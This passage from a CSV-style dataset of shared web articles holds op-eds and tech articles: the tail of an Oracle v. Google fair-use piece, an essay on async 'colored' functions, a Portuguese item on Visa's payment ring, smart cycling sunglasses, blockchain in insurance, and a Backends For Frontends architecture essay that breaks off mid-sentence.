expertise and other technologies. Hurst is wrong in asserting that Google's fair use victory means that anyone can freely appropriate whatever they want from open source and other programs. All that the jury verdict means is that Google made fair use of the Java API packages. Anyone else who appropriates elements from another firm's software would have to defend a legal challenge on much the same grounds that Google did: either by claiming that the elements appropriated were not within the scope of protection that copyright law provides to software developers or that the appropriation of those elements was fair use. Developers of software need some simple norms to live by. One such norm is that independent reimplementation of an API in one's own original code does not infringe copyright. That's the law as well as good public policy. The public has greatly benefited by the existence of this norm because anyone with a creative software idea can write programs that will run on existing platforms. The software industry has thrived under this norm, and the public has a wide array of choices of innovative programs in a competitive marketplace. Editor's note: Despite a final verdict, the recent Oracle v. Google trial left plenty of questions about the future of APIs, fair use, copyright, development, and more. While their views do not necessarily represent those of Ars Technica as a whole, our staffers wanted to take a look at the outcome and potential ramifications from both sides. Joe Mullin says Google's win sends a powerful message against a familiar legal tactic. Elsewhere, Peter Bright argues that software is about to suffer. And in addition to this op-ed from professor Pamela Samuelson (pro-Google), you can find another from attorney Annette Hurst (pro-Oracle) on the site.",en
1464967629,CONTENT SHARED,-4798431998955209742,-709287718034731589,-2752546383439495719,,,,HTML,http://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/,What Color is Your Function?,"I don't know about you, but nothing gets me going in the morning quite like a good old fashioned programming language rant. It stirs the blood to see someone skewer one of those ""blub"" languages the plebians use, muddling through their day with it between furtive visits to StackOverflow. (Meanwhile, you and I, only use the most enlightened of languages. Chisel-sharp tools designed for the manicured hands of expert craftspersons such as ourselves.) Of course, as the author of said screed, I run a risk. The language I mock could be one you like! Without realizing it, I could let have the rabble into my blog, pitchforks and torches at the ready, and my fool-hardy pamphlet could draw their ire! To protect myself from the heat of those flames, and to avoid offending your possibly delicate sensibilities, instead, I'll rant about a language I just made up. A strawman whose sole purpose is to be set aflame. I know, this seems pointless right? Trust me, by the end, we'll see whose face (or faces!) have been painted on his straw noggin. A new language Learning an entire new (crappy) language just for a blog post is a tall order, so let's say it's mostly similar to one you and I already know. We'll say it has syntax sorta like JS. Curly braces and semicolons. if , while , etc. The lingua franca of the programming grotto. I'm picking JS not because that's what this post is about. It's just that it's the language you, statistical representation of the average reader, are most likely to be able grok. Voilà: Because our strawman is a modern (shitty) language, we also have first-class functions. So you can make something like like: This is one of those higher-order functions, and, like the name implies, they are classy as all get out and super useful. You're probably used to them for mucking around with collections, but once you internalize the concept, you start using them damn near everywhere. Maybe in your testing framework: Or when you need to parse some data: So you go to town and write all sorts of awesome reusable libraries and applications passing around functions, calling functions, returning functions. Functapalooza. What color is your function? Except wait. Here's where our language gets screwy. It has this one peculiar feature: 1. Every function has a color. Each function-anonymous callback or regular named one-is either red or blue. Since my blog's code highlighter can't handle actual color, we'll say the syntax is like: There are no colorless functions in the language. Want to make a function? Gotta pick a color. Them's the rules. And, actually, there are a couple more rules you have to follow too: 2. The way you call a function depends on its color. Imagine a ""blue call"" syntax and a ""red call"" syntax. Something like: If you get it wrong-call a red function with *blue after the parentheses or vice versa-it does something bad. Dredge up some long-forgotten nightmare from your childhood like a clown with snakes for arms under your bed. That jumps out of your monitor and sucks out your vitreous humour. Annoying rule, right? Oh, and one more: 3. You can only call a red function from within another red function. You can call a blue function from with a red one. This is kosher: But you can't go the other way. If you try to do this: Well, you're gonna get a visit from old Spidermouth the Night Clown. This makes writing higher-order functions like our filter() example trickier. We have to pick a color for it and that affects the colors of the functions we're allowed to pass to it. The obvious solution is to make filter() red. That way, it can take either red or blue functions and call them. But then we run into the next itchy spot in the hairshirt that is this language: 4. Red functions are more painful to call. For now, I won't precisely define ""painful"", but just imagine that the programmer has to jump through some kind of annoying hoops every time they call a red function. Maybe it's really verbose, or maybe you can't do it inside certain kinds of statements. Maybe you can only call them on line numbers that are prime. What matters is that, if you decide to make a function red, everyone using your API will want to spit in your coffee and/or deposit some even less savory fluids in it. The obvious solution then is to never use red functions. Just make everything blue and you're back to the sane world where all functions have the same color, which is equivalent to them all having no color, which is equivalent to our language not being entirely stupid. Alas, the sadistic language designers-and we all know all programming language designers are sadists, don't we?-jabbed one final thorn in our side: 5. Some core library functions are red. There are some functions built in to the platform, functions that we need to use, that we are unable to write ourselves, that only come in red. At this point, a reasonable person might think the language hates us. It's functional programming's fault! You might be thinking that the problem here is we're trying to use higher-order functions. If we just stop flouncing around in all of that functional frippery and write normal blue collar first-order functions like God intended, we'd spare ourselves all the heartache. If we only call blue functions, make our function blue. Otherwise, make it red. As long as we never make functions that accept functions, we don't have to worry about trying to be ""polymorphic over function color"" (polychromatic?) or any nonsense like that. But, alas, higher order functions are just one example. This problem is pervasive any time we want to break our program down into separate functions that get reused. For example, let's say we have a nice little blob of code that, I don't know, implements Dijkstra's algorithm over a graph representing how much your social network are crushing on each other. (I spent way too long trying to decide what such a result would even represent. Transitive undesirability?) Later, you end up needing to use this same blob of code somewhere else. You do the natural thing and hoist it out into a separate function. You call it from the old place and your new code that uses it. But what color should it be? Obviously, you'll make it blue if you can, but what if it uses one of those nasty red-only core library functions? What if the new place you want to call it is blue? You'll have to turn it red. Then you'll have to turn the function that calls it red. Ugh. No matter what, you'll have to think about color constantly. It will be the sand in your swimsuit on the beach vacation of development. A colorful allegory Of course, I'm not really talking about color here, am I? It's an allegory, a literary trick. The Sneetches isn't about stars on bellies, it's about race. By now, you may have an inkling of what color actually represents. If not, here's the big reveal: Red functions are asynchronous ones. If you're programming in JavaScript on Node.js, everytime you define a function that ""returns"" a value by invoking a callback, you just made a red function. Look back at that list of rules and see how my metaphor stacks up: Synchronous functions return values, async ones do not and instead invoke callbacks. Synchronous functions give their result as a return value, async functions give it by invoking a callback you pass to it. You can't call an async function from a synchronous one because you won't be able to determine the result until the async one completes later. Async functions don't compose in expressions because of the callbacks, have different error-handling, and can't be used with try/catch or inside a lot of other control flow statements. Node's whole shtick is that the core libs are all asynchronous. (Though they did dial that back and start adding ___Sync() versions of a lot of things.) When people talk about ""callback hell"" they're talking about how annoying it is to have red functions in their language. When they create 4089 libraries for doing asynchronous programming , they're trying to cope at the library level with a problem that the language foisted onto them. I promise the future is better People in the Node community have realized that callbacks are a pain for a long time, and have looked around for solutions. One technique that gets a bunch of people excited is , which you may also know by their rapper name ""futures"". These are sort of a jacked up wrapper around a callback and an error handler. If you think of passing a callback and errorback to a function as a concept , a promise is basically a reification of that idea. It's a first-class object that represents an asynchronous operation. I just jammed a bunch of fancy PL language in that paragraph so it probably sounds like a sweet deal, but it's basically snake oil. Promises do make async code a little easier to write. They compose a bit better, so rule #4 isn't quite so onerous. But, honestly, it's like the difference between being punched in the gut versus punched in the privates. Less painful, yes, but I don't think anyone should really get thrilled about the value proposition. You still can't use them with exception handling or other control flow statements. You still can't call a function that returns a future from synchronous code. (Well, you can , but if you do, the person who later maintains your code will invent a time machine, travel back in time to the moment that you did this and stab you in the face with a #2 pencil.) You've still divided your entire world into asynchronous and synchronous halves and all of the misery that entails. So, even if your language features promises or futures, its face looks an awful lot like the one on my strawman. (Yes, that means even Dart , the language I work on. That's why I'm so excited some of the team are experimenting with other concurrency models .) I'm awaiting a solution C# programmers are probably feeling pretty smug right now (a condition they've increasingly fallen prey to as Hejlsberg and company have piled sweet feature after sweet feature into the language). In C#, you can use the await keyword to invoke an asynchronous function. This lets you make asynchronous calls just as easily as you can synchronous ones, with the tiny addition of a cute little keyword. You can nest await calls in expressions, use them in exception handling code, stuff them inside control flow. Go nuts. Make it rain await calls like a they're dollars in the advance you got for your new rap album. Async-await is nice, which is why we're adding it to Dart. It makes it a lot easier to write asynchronous code. You know a ""but"" is coming. It is. But... you still have divided the world in two. Those async functions are easier to write, but they're still async functions . You've still got two colors. Async-await solves annoying rule #4: they make red functions not much worse to call than blue ones. But all of the other rules are still there: Synchronous functions return values, async ones return Task<T> (or Future<T> in Dart) wrappers around the value. Sync functions are just called, async ones need an await . If you call an async function you've got this wrapper object when you actually want the T . You can't unwrap it unless you make your function async and await it. (But see below.) Aside from a liberal garnish of await , we did at least fix this. C#'s core library is actually older than async so I guess they never had this problem. It is better. I will take async-await over bare callbacks or futures any day of the week. But we're lying to ourselves if we think all of our troubles are gone. As soon as you start trying to write higher-order functions, or reuse code, you're right back to realizing color is still there, bleeding all over your codebase. What language isn't colored? So JS, Dart, C#, and Python have this problem. CoffeeScript and most other languages that compile to JS do too (which is why Dart inherited it). I think even ClojureScript has this issue even though they've tried really hard to push against it with their core.async stuff. Wanna know one that doesn't? Java. I know right? How often do you get to say, ""Yeah, Java is the one that really does this right.""? But there you go. In their defense, they are actively trying to correct this oversight by moving to futures and async IO. It's like a race to the bottom. C# also actually can avoid this problem too. They opted in to having color. Before they added async-await and all of the Task<T> stuff, you just used regular sync API calls. Three more languages that don't have this problem: Go, Lua, and Ruby. Any guess what they have in common? Threads. Or, more precisely: multiple independent callstacks that can be switched between . It isn't strictly necessary for them to be operating system threads. Goroutines in Go, coroutines in Lua, and fibers in Ruby are perfectly adequate. (That's why C# has that little caveat. You can avoid the pain of async in C# by using threads.) Remembrance of operations past The fundamental problem is ""How do you pick up where you left off when an operation completes""? You've built up some big callstack and then you call some IO operation. For performance, that operation uses the operating system's underlying asynchronous API. You cannot wait for it to complete because it won't. You have to return all the way back to your language's event loop and give the OS some time to spin before it will be done. Once it is, you need to resume what you were doing. The usual way a language ""remembers where it is"" is the callstack . That tracks all of the functions that are currently being invoked and where the instruction pointer is in each one. But to do async IO, you have to unwind discard the entire C callstack. Kind of a Catch-22. You can do super fast IO, you just can't do anything with the result! Every language that has async IO in its bowels-or in the case of JS, the browser's event loop-copes with this in some way. Node with its ever-marching-to-the-right callbacks stuffs all of those callframes in closures. When you do: Each of those function expressions closes over all of its surrounding context. That moves parameters like iceCream and caramel off the callstack and onto the heap. When the outer function returns and the callstack is trashed, it's cool. That data is still floating around the heap. The problem is you have to manually reify every damn one of these steps. There's actually a name for this transformation: continuation-passing style . It was invented by language hackers in the 70s as an intermediate representation to use in the guts of their compilers. It's a really bizarro way to represent code that happens to make some compiler optimizations easier to do. No one ever for a second thought that a programmer would write actual code like that . And then Node came along and all of the sudden here we are pretending to be compiler back-ends. Where did we go wrong? Note that promises and futures don't actually buy you anything, either. If you've used them, you know you're still hand-creating giant piles of function literals. You're just passing them to .then() instead of to the asynchronous function itself. Awaiting a generated solution Async-await does help. If you peel back your compiler's skull and see what it's doing when it hits an await call you'd see it actually doing the CPS-transform. That's why you need to use await in C#: it's a clue to the compiler to say, ""break the function in half here"". Everything after the await gets hoisted into a new function that it synthesizes on your behalf. This is why async-await didn't need any runtime support in the .NET framework. The compiler compiles it away to a series of chained closures that it can already handle. (Interestingly, closures themselves also don't need runtime support. They get compiled to anonymous classes. In C#, closures really are a poor man's objects .) You might be wondering when I'm going to bring up generators. Does your language have a yield keyword? Then it can do something very similar. (In fact, I believe generators and async-await are isomorphic. I've got a bit of code floating around in some dark corner of my hard disc that implements a generator-style game loop using only async-await.) Where was I? Oh, right. So with callbacks, promises, async-await, and generators, you ultimately end up taking your asynchronous function and smearing it out into a bunch of closures that live over in the heap. Your function passes the outermost one into the runtime. When the event loop or IO operation is done, it invokes that function and you pick up where you left off. But that means everything above you also has to return. You still have to unwind the whole stack. This is where the ""red functions can only be called by red functions"" rule comes from. You have to closurify the entire callstack all the way back to main() or the event handler. Reified callstacks But if you have threads (green- or OS-level), you don't need to do that. You can just suspend the entire thread and hop straight back to the OS or event loop without having to return from all of those functions . Go is the language that does this most beautifully in my opinion. As soon as you do any IO operation, it just parks that goroutine and resumes any other ones that aren't blocked on IO. If you look at the IO operations in the standard library, they seem synchronous. In other words, they just do work and then return a result when they are done. But it's not that they're synchronous in the sense that it would mean in JavaScript. Other Go code can run while one of these operations is pending. It's that Go has eliminated the distinction between synchronous and asynchronous code . Concurrency in Go is a facet of how you choose to model your program, and not a color seared into each function in the standard library. This means all of the pain of the five rules I mentioned above is completely and totally eliminated. So, the next time you start telling me about some new hot language and how awesome its concurrency story is because it has asynchronous APIs, now you'll know why I start grinding my teeth. Because it means you're right back to red functions and blue ones.",en
1464968625,CONTENT SHARED,-8404657131309965885,3609194402293569455,5948717978946018172,,,,HTML,http://www.b9.com.br/65195/inovacao/visa-vai-testar-nas-olimpiadas-do-rio-um-anel-para-pagamentos/,Visa vai testar nas Olimpíadas do Rio um anel para pagamentos,"Alguns dos atletas que chegarem no Brasil para competir nos próximos jogos Olímpicos no Rio de Janeiro terão um adorno diferente nos dedos. A Visa , patrocinadora oficial do evento, deu a 45 deles um anel especial com NFC que servirá como substituto ao tradicional cartão de plástico. O anel por enquanto é um protótipo do que a Visa planeja lançar no futuro, e o seu nome também é um provisório auto-descritivo ""Visa Payment Ring"". Para usá-lo, basta aproximar o anel à máquina na hora do pagamento que a transação é autorizada online - a máquina, claro, precisa ter um sensor NFC. Como vai ser usado por atletas, o anel também é resistente a água, não tem bateria - ele pega energia direto da máquina na hora do pagamento - e é feito de uma cerâmica resistente. Em caso de perda, é possível desativar o código do anel como se fosse um cartão. A meu ver o principal impecilho para o uso desse anel será mesmo nos estabelecimentos no Rio. Os lojistas poderão ficar um pouco desconfiados da tecnologia quando virem funcionando pela primeira vez - isso é, até o comprovante do pagamento for emitido pela máquina. (Crédito da imagem no topo: Sarah Tew/CNET)",pt
1464969318,CONTENT SHARED,-57452526663870593,3609194402293569455,5948717978946018172,,,,HTML,http://spectrum.ieee.org/the-human-os/biomedical/devices/us-cycling-team-to-wear-smart-sunglasses-at-rio-olympics,U.S. Track Cycling Team Training for Rio Olympics with Smart Sunglasses,"Photo: Kopin U.S. track cyclists training for the 2016 Olympic Games are equipped with a new high-tech wearable: the Solos smart cycling glasses. The shades display in real-time performance metrics culled from the athletes' bike sensors, heart rate monitors, and other self-tracking devices, enabling riders to view their critical stats without taking their eyes off the road. ""It's a new way of experiencing the sport,"" says Ernesto Martinez, director of sports performance wearables at Westborough, Mass.-based Kopin Corporation , which is developing Solos. Many professional cyclists use bike computers to track metrics such as how many watts of power they are exerting and the cadence of their pedal stroke. Many cyclists also use heart rate monitors strapped around their chests or wrists, and are eyeing some of the newer, more in-depth wearables, such as lactate threshold monitors . The data helps the athletes gain insights on the training and maximize their energy expenditure. Such devices require the rider to look down to view their data on different displays, or take their hands off the bike. Cyclists are incredibly good at multitasking-they can change their shoes and peel a banana at fairly high speeds-so glancing down isn't a particularly big deal. Still, the few seconds it takes can present a safety issue, particularly when riding in a close pack of cyclists, or navigating crowds. Photo: provided by Kopin The Solos glasses aim to keep riders' heads up and eyes on the road. The system integrates the data from bike sensors, heart rate monitors, and other sensors and micro-displays it in the right-hand corner of the cyclist's vision. Riders can focus their eyes on the data or look past it to see the road ahead. ""You can see around the image,"" says Martinez, who came to Kopin from the MIT Media lab . The technology works similarly to that of the no-longer-for-sale Google Glass . A phone app integrates the data from the various devices and sends it wirelessly to the electronics integrated in the frame of the shades. A very small optics module in front of one side of the sunglasses contains the micro-display that presents the data on a virtual screen in the rider's field of view. An audio feed of the data reaches the rider through an ear piece. Kopin has been collaborating over the last 18 months with USA Cycling -the governing body for professional cycling. The group focused first on functional qualities of sunglasses such as aerodynamics, weight distribution, and material, then added the micro-display and audio technologies. The result: some pretty rad shades. Photo: provided by Kopin Members of the U.S. track cycling team have been wearing the glasses during their training for the 2016 Olympic Games, which begin 5 August in Rio de Janeiro. The cyclists will not be allowed to wear the device during competition, however. Other professional sports organizations have similarly said that wearables are permitted during practice, but not during games . Kopin on 10 May made public the partnership and on 24 May opened a Kickstarter campaign as a way to generate interest among cyclists. Early backers could pledge $250 in exchange for a pair of Solos, which the company expects to ship in October. Solos will retail for $499 and will be marketed to all cyclists-commuters, weekend riders, and professionals-according to Kopin. (Kickstarter, Indiegogo , and other crowdsourcing platforms are popular among aspiring entrepreneurs and fledgling companies as a way to test the market and raise funding. But established companies with resources are increasingly using the platforms as a marketing strategy .) Kopin 's micro-display technology dates back to 1992, when the company received $10 million in funding from U.S. Defense Advanced Research Projects Ag ency (DARPA) to develop wearable computer displays for soldiers in the field. Since then it has progressed from military to industrial applications, and now, the company hopes, to consumers.",en
1464972286,CONTENT SHARED,2731915238980099593,5660542693104786364,-4754286844733175953,,,,HTML,https://letstalkpayments.com/how-blockchain-technology-can-improve-the-insurance-industry/,How Blockchain Technology Can Improve the Insurance Industry,"While blockchain technology is no news anymore, a range of possible application seems to be piling up at an impressive pace. The insurance industry is no exclusion as professionals are looking for ways to apply distributed ledger technology to transform the 4.5-trillion-dollar industry. One of the applications of blockchain-enabled smart contracts-as seen by professionals-is in building a P 2P or crowdfunded insurance model . The new model would focus on supply and demand matching and risk calculation, where insurers will build a marketplace platform for potential customers to post their customized requirements for insurance plans. Insurers would apply their risk assessment techniques to perform necessary calculations. Once the calculations are finalized, insurers can place their premium estimations giving a chance for investors to subscribe to the plan. Aside from all operations being done on the blockchain, smart contacts are entering the game when it comes to the guarantee of payment from the investor when the event for which the customer has demanded the insurance happens. Needless to say, the process of verifying and approving the insurance claim becomes much more efficient and easy for insurers when recorded on the blockchain. Inviting the innovative solutions into the traditional and complex landscape of insurance industry, Scott Gottlieb, resident fellow at the American Enterprise Institute (AEI), ideas using technology to design more intuitive insurance risk pools . As Mr. Gottlieb suggested, technologically advanced (in particular, blockchain) risk pools would enable real-time auto-regulation of insurance subsidies. As AEI believes, such a system can be powered by blockchain technology. In addition to shedding light onto new business models in the insurance industry, blockchain can be applied to increase transparency of the products insured . Recorded on the blockchain, the characteristics and the history of the product can significantly cut the time and cost of human-powered assessment and keep records of the history of the product to increase the accuracy of risk assessment and premium calculation. The diamonds industry is the closest with Everledger , a company that provides an immutable ledger for diamond identification and transaction verification for various stakeholders, from insurance companies to claimants and law enforcement agencies. Another application of blockchain technology in the insurance industry has been explored and brought to life earlier in March. London's commercial think tank Z/Yen recently to have created an insurance product that employs a distributed ledger technology to confirm counterparty obligations . Michael Mainelli of Z/Yen has commented, "" The system is really based on timestamping and auditing who has used these documents."" He added, "" There have always been suspicions that insurers could change the data on what the situation was in the past."" Z/Yen was behind one among the few other uses of blockchain in the UK insurance market. Blem, a company that makes IT systems for the industry is all set to become one of the companies to make use of blockchain in a live product. Blem's CEO Gavin Blem says, "" The opportunity that timestamping provides is certainly that the information provided to the reinsurer existed at a particular moment in time and has not been changed since. "" The company will be using the technology to record permanently the details of claims so that insurers and their reinsurers can divide the cost accurately between them. Recording information about the product on blockchain not only allows to keep accurate hard-to-temper track and make more accurate calculations. The information can be accumulated in a pool of accessible data in real-time for companies to update and share with each other to cut the costs of maintaining private records and spending personnel time on underwriting. In that case, insurers and third parties will have access to vast amount of verified and accurate information that will enhance the quality and accuracy of the plans offered to customers by the industry overall. Moreover, real-time access to the most relevant and accurate data will boost the freedom of insurers to offer a customized solution without missing out on premiums. Smart contracts can take insurance updates to the new level, making it fully digital and hassle-free to see and have the most accurate and suitable plan every time affecting personal circumstance is recorded. Blockchain-powered smart contracts combined with real-time recording can be applied to automate the claims settlement . Claims can be verified by insurance agents and recorded on blockchain in order to trigger the right contract execution. Blockchain-powered automation can significantly reduce the time of settlement and streamline the operations in an efficient manner. Customers, in that case, would be the ones to benefit the most as the waiting time for payments would drop drastically. These are barely the limits for blockchain application in insurance. Distributed ledger technology made a lot of noise across industries, and is not baseless. The extremely beneficial properties of this technology can increase operational efficiency of companies in a range of ways which will positively impact customer service and improve insurance products and other blockchain-powered solutions. Now experience the full power of the LTP knowledgebase on this and all other FinTech topics. MEDICI, now in beta, is the discovery and engagement platform for FinTech startup research. Register here and find out if your company has already been profiled at medici.letstalkpayments.com Latest posts by Sofia ( see all )",en
1464976955,CONTENT SHARED,5424502143558028097,-9016528795238256703,8374760703625539380,,,,HTML,http://samnewman.io/patterns/architectural/bff/,Sam Newman - Backends For Frontends,"Introduction With the advent and success of the web, the de facto way of delivering user interfaces has shifted from thick-client applications to interfaces delivered via the web, a trend that has also enabled the growth of SAAS-based solutions in general. The benefits of delivering a user interface over the web were huge - primarily as the cost of releasing new functionality was significantly reduced as the cost of client-side installs was (in most cases) eliminated altogether. This simpler world didn't last long though, as the age of the mobile followed shortly afterwards. Now we had a problem. We had server-side functionality which we wanted to expose both via our desktop web UI, and via one or more mobile UIs. With a system that had initially been developed with a desktop-web UI in mind, we often faced a problem in accommodating these new types of user interface, often as we already had a tight coupling between the desktop web UI and our backed services. The General-Purpose API Backend A first step in accommodating more than one type of UI is normally to provide a single, server-side API, and add more functionality as required over time to support new types of mobile interaction: A general purpose API backend If these different UIs want to make the same or very similar sorts of calls, then it can be easy for this sort of general-purpose API to be successful. However the nature of a mobile experience often differs drastically from a desktop web experience. Firstly, the affordances of a mobile device are very different. We have less screen real estate, which means we can display less data. Opening lots of connections to server-side resources can drain battery life and limited data plans. And secondly, the nature of the interactions we want to provide on a mobile device can differ drastically. Think of a typical bricks-and-mortar retailer. On a desktop app I might allow you to look at the items for sale, order online or reserve in store. On the mobile device though I might want to allow you scan bar codes to do price comparisons or give you context-based offers while in store. As we've built more and more mobile applications we've come to realise that people use them very differently and therefore the functionality we need to expose will differ too. So in practice, our mobile devices will want to make different calls, fewer calls, and will want to display different (and probably less) data than their desktop counterparts. This means that we need to add additional functionality to our API backend to support our mobile interfaces. Another problem with the general-purpose API backend is that they are by definition providing functionality to multiple, user-facing applications. This means that the single API backend can become a bottleneck when rolling out new delivery, as so many changes are trying to be made to the same deployable artifact. The tendency for the general-purpose API backend to take on multiple responsibilities, and therefore require lots of work, often results in a team being created specifically to handle this code base. This can make the problem much worse, as now front-end teams have to interface with a separate team to get changes made - a team which will have to balance both the priorities of the different client teams, and also work with multiple downstream teams to consume new APIs as they become available. It could be argued that at this point we have just created a smart-piece of middleware in our architecture, something which is not focused on any particular business domain - something which goes against many people's views of what sensible Service Oriented Architecture should look like. Common Team Structures When Using A Generic Backed API Introducing The Backend For Frontend One solution to this problem that I have seen in use at both REA and SoundCloud is that rather than have a general-purpose API backend, instead you have one backend per user experience - or as (ex-SoundClouder) Phil Calçado called it a Backend For Frontend (BFF). Conceptually, you should think of the user-facing application as being two components - a client-side application living outside your perimeter, and a server-side component (the BFF) inside your perimeter. The BFF is tightly coupled to a specific user experience, and will typically be maintained by the same team as the user interface, thereby making it easier to define and adapt the API as the UI requires, while also simplifying process of lining up release of both the client and server components. Using one server-side BFF per user interface The BFF is tightly focused on a single UI, and just that UI. That allows it to be focused, and will therefore be smaller. How Many BFFs? When it comes to delivering the same (or similar) user experience on different platforms, I have seen two different approaches. The model I prefer is to strictly have a single BFF for each different type of client - this is a model I saw used at REA: Different mobile platform, different BFF, as used at REA The other model, which I have seen in use at SoundCloud, uses one BFF per type of user interface. So both the Android and iOS versions of the listener native application use the same BFF: Having one BFF for different mobile backends, as used at SoundCloud My main concern with the second model is just that the more types of clients you have using a single BFF, the more temptation there may be for it to become bloated by handling multiple concerns. The key thing to understand here though is that even when sharing a BFF, it is for the same class of user interface - so while SoundCloud's listener Native applications for both iOS and Android use the same BFF, other native applications would use different BFFs (for example the new Creator application Pulse uses a different BFF). I'm also more relaxed about using this model if the same team owns both the Android and iOS applications and own the BFF too - if these applications are maintained by different teams, I'm more inclined to recommend the more strict model. So you can see your organisation structure as being one of the main drivers to which model makes the most sense ( Conway's Law wins again). It's worth noting that the SoundCloud engineers I spoke to suggested that having one BFF for both Android and iOS listener applications was something they might reconsider if making the decision again today. One guideline that I really like from Stewart Gleadow (who in turn credited Phil Calçado and Mustafa Sezgin) was 'one experience, one BFF'. So if the iOS and Android experiences are very similar, then it is easier to justify having a single BFF. If however they diverge greatly, then having separate BFFs makes more sense. Pete Hodgson made the observation that BFFs work best when aligned around team boundaries, so team structure should drive how many BFFs you have. So that if you have a single mobile team, you should have one BFF, but if you had separate iOS and Android teams, you'd have separate BFFs. My concern is that team structures tend to be more fluid than our system design. So if you have a single BFF for mobile, then split the team into iOS and Android specialisations, do you then have to split the BFF too? If the BFFs were already separate, then splitting the team would be easier as you can reassign ownership of the already independent asset. The interplay of BFF and team structure is important though, something we'll explore more shortly. Often the driver towards having a smaller number of BFFs is around reusing server-side functionality to avoid too much duplication, but there are other ways to handle this which we'll cover shortly. And Multiple Downstream Services (Microservices!) BFFs can be a useful pattern for architectures where there are a small number of backend services. For organisations using a large number of services however they can be essential, as the need to aggregate multiple downstream calls to deliver user functionality increases drastically. In such situations it will be common for a single call in to a BFF to result in multiple downstream calls to microservices. For example, imagine an application for an e-commerce company. We want to pull back a list of items in a user's wish list, displaying stock levels, and price: Multiple services hold the pieces of information we want. The Wishlist service stores information about the list, and IDs of each item. The Catalog service stores the name and price of each item, and the Stock levels are stored in our inventory service. So in our BFF we'd expose a method for retrieving the full playlist, which would consist of at least 3 calls: Making multiple downstream calls to construct a view of a wishlist From an efficiency point of view, it would be much smarter to run as many calls in parallel as possible. Once the initial call to the Wishlist service completes, ideally we'd like to then run the calls to the other services at the same time to reduce the overall call time. This need to mix calls that we want to run in parallel vs those that run in sequence can quickly become painful to manage, especially for more complex scenarios. This is one area where a reactive style of programming can help (such as that provided by RxJava or Finagle's futures system) as the composition of multiple calls becomes easier to manage. Failure modes though become important to understand. In our example above, we could insist that all downstream calls have to return in order for us to return a payload to our client. However is this sensible? Obviously we can't do anything if the Wishlist service is down, but if only the Inventory service was down, wouldn't it be better to just degrade the functionality we pass back to the client, perhaps just by removing the stock level indicator? These concerns have to be managed by the BFF itself in the first instance, but we also need to make sure that the client making the call to the BFF can interpret a partial response and render it correctly. Reuse and BFFs One of the concerns of having a single BFF per user interface is that you can end up with lots of duplication between the BFFs themselves. For example they may end up performing the same types of aggregation, have the same or similar code for interfacing with downstream services etc. Some people react to this by wanting to merge these back together, and so have a general-purpose aggregating Edge API service. This model has proven time and again to lead to highly bloated code with multiple concerns squashed together. As I have said many times before, I am fairly relaxed about duplicated code across services. Which is to say that while in a single process boundary I will typically do whatever I can to refactor out duplication into suitable abstractions, I don't have the same reaction when confronted by duplication across services. This is mostly as I am often more worried about the potential for extracting shared code to lead to tight coupling between services - something I am more worried about than duplication in general. That said, there are certainly cases where this is warranted. My colleague Pete Hodgson has pointed out that when you don't have BFFs, then often the 'common' logic ends up being baked into the different clients themselves. Due to the fact that these clients use very different technology stacks, identifying the fact that this duplication is occurring can be difficult. With organisations tending to have a common technology stack for server-side components, having multiple BFFs with duplication may be easier to spot and factor out. When the time does arise to extract shared code, there are two obvious options. The first, which is often cheapest but more fraught, is to extract a shared library of some sort. The reason this can be problematic is that shared libraries are a prime source of coupling, especially when used to generate client-libraries for calling downstream services. Nonetheless there are situations where this feels right - especially when the code being abstracted is purely a concern inside the service. The other option is to extract out the shared functionality in a new service, which can work well if you can conceptualise the new service has something modeled around the domain in question. A variation of this approach might be to push aggregation responsibilities to services further downstream. Take the example above where we discussed rendering of a wish list. Let's imagine we are rendering a wishlist in two places - on Android, iOS Web. Each of our BFFs are making the same three calls: Multiple BFFs performing the same tasks Instead, we could change the Wishlist service to make the downstream calls for us, thereby simplifying the job for the callers: Pushing aggregation duties further downstream to remove duplication in BFFs I have to say that the same code being used in two places wouldn't necessarily cause me to want to extract out a service in this way, but I'd be certainly considering it if the transaction cost of creating a new service was low enough, or I was using it in more than a couple of places (for example maybe on the desktop web). I think the old adage of creating an abstraction when you're about to implement something for the 3rd time still feels like a good rule of thumb, even at the service level. BFFs for Desktop Web and Beyond You can think of BFFs as just having a use in solving the constraints of mobile devices. The desktop web experience is typically delivered on more powerful devices with better connectivity, where the cost of making multiple downstream calls is manageable. This can allow your web application to make multiple calls directly to downstream services without the need for a BFF. I have seen situations though where the use of a BFF for the web too can be useful. When you are generating a larger portion of the web UI on the server-side (e.g using server-side templating), a BFF is the obvious place where this can be done. It can also simplify caching somewhat as you can place a reverse proxy in front of the BFF, allowing you to cache the results of aggregated calls (although you have to make sure you set your cache controls accordingly to ensure that the aggregated content's expiry is as short as the freshest piece of content in the aggregation needs it to be). I've seen it used multiple times in fact without calling it a BFF - in fact the general-purpose API backend often grows from such a beast. I've seen at least one organisation use BFFs for other external parties that need to make calls. Coming back to my perennial example of a music shop, I might expose a BFF to allow 3rd parties to extract royalty payment information, provide Facebook integration or allow streaming to a range of set-top box devices: Exposing APIs to 3rd Parties using a BFF This approach can be especially effective as third-parties often have limited to no ability (or desire) to use or change the API calls they make. With a general-purpose API backend, you may have to keep old versions of the API around just to satisfy a small subset of your outside parties unable to make a change - with BFF this problem is substantially reduced. And Autonomy Quite often we see situation where one team is working on a frontend, and a different team is creating the backend services. In general, we're trying to avoid this by moving to microservices which are aligned around business verticals, but even then there are situations where this is hard to avoid. Firstly, at a certain level of scale or complexity, multiple teams need to get involved. Secondly, the depth of technical skills required to execute a good Android or iOS experience often need specialised teams. So teams building user interfaces are confronted with the situation that they are calling an API which another team is driving, and often than API is evolving while the user interface is being developed. The BFF can help here, especially if it is owned by the team creating the user interface. They evolve the API of the BFF at the same time as creating the front end. They can iterate both quickly. The BFF itself still needs to call the other downstream services, but this can be done without having to interrupt development of the user interface. Example team ownership boundaries when using BFFs The other benefit of using a BFF aligned along team boundaries like this is that the team creating the interface can be much more fluid in thinking about where functionality lives. For example they could decide to push functionality on to the server-side to promote reuse in the future and simplify a native mobile application, or to allow for the faster release of new functionality (as you can bypass the app store review processes). This decision is one that can be made by the team in isolation if they own both the mobile application and the BFF - it doesn't require any cross-team coordination. General Perimeter Concerns Some people use BFFs to implement generic perimeter concerns, such as authentication/authorisation or request logging. I'm torn about this. On the one hand, much of this functionality is so generic that I'd be inclined to implement it using another layer sitting further upstream, perhaps using something like a tier of Nginx or Apache servers. On the other hand, such an additional layer can't help but add latency. BFFs are often used in microservice environment where we are already very sensitive about latency due to the high number of network calls being made. Also, the more layers you have to deploy to make a production-like stack can make development and test more complex - having all of these concerns inside the BFF as a more self-contained solution can be attractive as a result: Using a network appliance to implement generic perimeter 